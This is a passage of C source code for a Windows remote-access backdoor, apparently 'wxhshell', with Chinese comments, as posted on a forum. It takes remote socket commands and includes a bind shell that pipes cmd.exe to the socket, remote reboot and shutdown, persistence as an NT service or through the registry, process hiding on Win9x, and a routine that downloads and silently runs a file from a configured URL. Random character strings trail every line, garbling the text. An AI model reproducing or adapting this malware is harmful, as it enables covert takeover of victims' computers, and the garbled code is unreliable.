gc~nT/lfK  
    switch(cmd[0]) { 1'.SHY|  
  0,~f"Dyqy  
  // 帮助 L=`QF'Im  
  case '?': { *nb `DR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <2b&AF{En  
    break; r6 k/QZT  
  } m]C|8b7Y  
  // 安装 OIi8x? .~]  
  case 'i': { bv %Bo4s  
    if(Install()) yVF1*#"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Mk{2;x  
    else E P1f6ps  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71euRIW'5  
    break; Be~__pd  
    } nV/8u_  
  // 卸载 zKRt\;PW  
  case 'r': { 2~`lvx  
    if(Uninstall()) @9,=|kxK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]dN-'U  
    else N.\?"n   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jb0wP01R  
    break; T@K= * p  
    } ~_l@ _P5yz  
  // 显示 wxhshell 所在路径 -PfBL8  
  case 'p': { 54[#&T$S  
    char svExeFile[MAX_PATH]; z1dSZ0NoA  
    strcpy(svExeFile,"\n\r"); e}@VR<h  
      strcat(svExeFile,ExeFile); pe}mA}9U  
        send(wsh,svExeFile,strlen(svExeFile),0); YUGE>"{  
    break; fU/&e^, 's  
    } O|Sbe%[*wW  
  // 重启 KGM9 b  
  case 'b': { o%EzK;Df  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @;\2 PD  
    if(Boot(REBOOT)) .AB n$ml]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}M\ J0QG  
    else { IP?15l w  
    closesocket(wsh); \[\4= !v  
    ExitThread(0); *}F>c3x]  
    } x*`S>_j27=  
    break; g`7C1&U*T  
    } ,W8E U  
  // 关机 ?L K n  
  case 'd': { B#Q` !B4v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ar&j1""  
    if(Boot(SHUTDOWN)) C ~e&J&zh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _#\e5bE=Z  
    else { fyt ODsb>  
    closesocket(wsh); /Pbytu);ds  
    ExitThread(0); tLH:'"{zx  
    } m!22tpb  
    break; % w\   
    } K#"J8h;x  
  // 获取shell uez"{_I  
  case 's': { b]0]*<~y  
    CmdShell(wsh); LDDg g u   
    closesocket(wsh); >m$jJlAv8  
    ExitThread(0); DB~3(r?K  
    break; +N6IdDN3  
  } $ol]G`+  
  // 退出 _+sb~  
  case 'x': { %wFz4 :  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }n Ea9h  
    CloseIt(wsh); 8ln{!,j;  
    break; UC e{V]T  
    } *|gY7Av*  
  // 离开 (6}[y\a+  
  case 'q': { enC/@){~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -1_WE/Ps  
    closesocket(wsh); O'Mo/ u1-  
    WSACleanup(); us5<18 M5  
    exit(1); Fe[)-_%G  
    break; h6CAd-\x\  
        } %`EyG  
  } GyC/39<P  
  } F_U9;*f]  
IZ/PZ"n_(  
  // 提示信息 Gye84C2E=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I`~Giz7@  
} ^ABt g#  
  } >^=;b5I2K  
]8n*fo2#  
  return; .B+Bl/  
} (jyT9'*wAT  
zAW+!C.  
// shell模块句柄 L[s`8u<_)z  
int CmdShell(SOCKET sock) XnwVK  
{ E"O6N.}.  
STARTUPINFO si; AZ9;6Df  
ZeroMemory(&si,sizeof(si)); "[QQ(]={  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6%a9%Is!O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -Qy@-s $  
PROCESS_INFORMATION ProcessInfo; H|Y*TI2vf8  
char cmdline[]="cmd"; 8|LU=p`y'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QO/nUl0E  
  return 0; Iq0[Kd0.j  
} cMfJq}C<  
3jqV/w[-  
// 自身启动模式 #0"Pd8@  
int StartFromService(void) @*16agGg  
{ -k?K|w*X  
typedef struct 6`h}#@ (  
{ FUP0X2P   
  DWORD ExitStatus; *@VS^JB  
  DWORD PebBaseAddress; S.zY0  
  DWORD AffinityMask; @tX8M[.eA  
  DWORD BasePriority; DL*&e|:q  
  ULONG UniqueProcessId; 3v91yMx  
  ULONG InheritedFromUniqueProcessId; .rw a=IW  
}   PROCESS_BASIC_INFORMATION; o5E5s9n  
GI<3L K\  
PROCNTQSIP NtQueryInformationProcess; z"D0Th`S6  
#ZC9=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * lJkk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~} 02q5H  
!C&  ^%a  
  HANDLE             hProcess; ` t>A~.f  
  PROCESS_BASIC_INFORMATION pbi; !gm@QO cF  
b}3t8?wG&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "C.cU  
  if(NULL == hInst ) return 0; )Z*nm<=  
N;HG@B!m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -kP$S qR~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hz+O.k],?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rQ-,mq  
1 )H;}%[  
  if (!NtQueryInformationProcess) return 0; FvJkb!5*e_  
cCuK?3V4K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O@>ZYA%  
  if(!hProcess) return 0; &R))c|>OT&  
?{;7\1 [4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; IkuE|  
v@d]*TG  
  CloseHandle(hProcess); AZE  
DC~1}|B"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T8BewO=}  
if(hProcess==NULL) return 0; IvX+yU  
,_UTeW6M  
HMODULE hMod; 1{<r~  
char procName[255]; +w2 `  
unsigned long cbNeeded; l*z+<c6$_  
KJ7-Vl>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C)mR~Ey  
o3X0c6uU  
  CloseHandle(hProcess); NdmwQJ7e"  
uqM=/T^A  
if(strstr(procName,"services")) return 1; // 以服务启动 O'{g{  
J)EL<K$Z[  
  return 0; // 注册表启动 YmwXA e:  
} :CsrcT=  
)!lx'>0>  
// 主模块 pupt__NZ)n  
int StartWxhshell(LPSTR lpCmdLine) pE {yVs  
{ k#n%at.g  
  SOCKET wsl; Yy{(XBJ~%t  
BOOL val=TRUE; KRM:h`+-.-  
  int port=0; n#5S-z1KNw  
  struct sockaddr_in door; F@b=S0}K  
1'%n?\OK66  
  if(wscfg.ws_autoins) Install(); $T6+6<  
)SHB1U25{  
port=atoi(lpCmdLine); ! mZWd'  
t 2,?+q$x  
if(port<=0) port=wscfg.ws_port; wg4Ol*y'  
ZUakW3f  
  WSADATA data; oL7F^34;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h2 y<vO  
FY)US>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]wUH*\(y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T7^?j :kJ/  
  door.sin_family = AF_INET; C;%1XFzM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T930tX6"h  
  door.sin_port = htons(port); %us#p|Ya  
8<{i=V*x4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \ cdns;  
closesocket(wsl); T0@$6&b%\z  
return 1; *mkVk7]c  
} WFTwFm6  
NpxgF<G  
  if(listen(wsl,2) == INVALID_SOCKET) { (W.G&VSn)  
closesocket(wsl); @V Sr'?7-  
return 1; Ek60[a  
} hOYP~OR  
  Wxhshell(wsl); k3T374t1b  
  WSACleanup(); lMgPwvs'  
v\+`n^=  
return 0; 3pe1"maP  
p/HGI)'  
} 'A9Z ((  
,Fn-SrB:  
// 以NT服务方式启动 T@Z-;^aV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RWFvf   
{ PU4-}!K  
DWORD   status = 0; LKA/s ~G  
  DWORD   specificError = 0xfffffff; pjma<^|F  
[ @2$W?0i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?KWo1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !AG {`[b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f VJWW):  
  serviceStatus.dwWin32ExitCode     = 0; - LB}=  
  serviceStatus.dwServiceSpecificExitCode = 0; 72vp6/;)  
  serviceStatus.dwCheckPoint       = 0; )SJ"IY\P  
  serviceStatus.dwWaitHint       = 0; z0UtKE^b  
+~sqv?8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); dU2:H}  
  if (hServiceStatusHandle==0) return; Lf`<4 P  
v SY YetL  
status = GetLastError(); 1--Ka& H  
  if (status!=NO_ERROR) _}cD_$D  
{ J06 D_'{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yG;@S8zC  
    serviceStatus.dwCheckPoint       = 0; I]%Kd('  
    serviceStatus.dwWaitHint       = 0; 0es\ j6c  
    serviceStatus.dwWin32ExitCode     = status; j9X|c7|  
    serviceStatus.dwServiceSpecificExitCode = specificError; vnS8N  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6ld /E  
    return; j.[W] EfL~  
  } /6Kx249Dw  
7 .]H9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yY]E~  
  serviceStatus.dwCheckPoint       = 0;  `fE'$2  
  serviceStatus.dwWaitHint       = 0; {w@9\LsU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =ui3I_*)  
} _M^^0kf  
 $ Tal.  
// 处理NT服务事件,比如:启动、停止 \uO^w J}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e-%q!F(Bf  
{ vOq N=bp  
switch(fdwControl) Y ` Z,52  
{ 8T[<&<^-  
case SERVICE_CONTROL_STOP: Cu_-QE  
  serviceStatus.dwWin32ExitCode = 0; n(i/jW~0w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rM? J40&.  
  serviceStatus.dwCheckPoint   = 0; v3G$9 (NE;  
  serviceStatus.dwWaitHint     = 0; UY .-Qt  
  { p=\Q7<Z6d,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qt6@]Y  
  } 4_# (y^9  
  return; K & %8w  
case SERVICE_CONTROL_PAUSE: -!V{wD3,B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 57q?:M=^  
  break; 8c>xgFWp9  
case SERVICE_CONTROL_CONTINUE: C;%dZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S~R[*Gk_uT  
  break; LnM$@  
case SERVICE_CONTROL_INTERROGATE: ;%k C?Vzi  
  break; z`p9vlS[  
}; $R+rB;=a!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <AK9HPxP  
} .Hk.'>YR  
R7KV @n  
// 标准应用程序主函数 :i|]iXEI"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  y(#6nG@S  
{ o' v!83$L  
yivWT;`  
// 获取操作系统版本 aMVq%{U  
OsIsNt=GetOsVer(); ZUvc|5]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7fXJP5j  
)1YX+',"  
  // 从命令行安装 p 16+(m  
  if(strpbrk(lpCmdLine,"iI")) Install(); +DO<M1uE  
\#IKirf?  
  // 下载执行文件 3`)ej`  
if(wscfg.ws_downexe) { G&t|aY-   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7#SfuZ0@  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 Q*:II  
} /`0>U  
m#-&<=  
if(!OsIsNt) { ddbQFAQQQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 .&`apQD}  
HideProc(); QjD=JC+  
StartWxhshell(lpCmdLine); Vol}wc  
} ,`YIcrya:  
else Z$B%V t  
  if(StartFromService()) Ypxp4B  
  // 以服务方式启动 :G] t=vr1  
  StartServiceCtrlDispatcher(DispatchTable); s%8,'3&  
else 8'NT_NPNb  
  // 普通方式启动  FsQoQ#*  
  StartWxhshell(lpCmdLine); -f1lu*3\  
i r'C(zD=  
return 0; \(&&ed:  
}
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只看该作者 1 发表于: 2006-10-10
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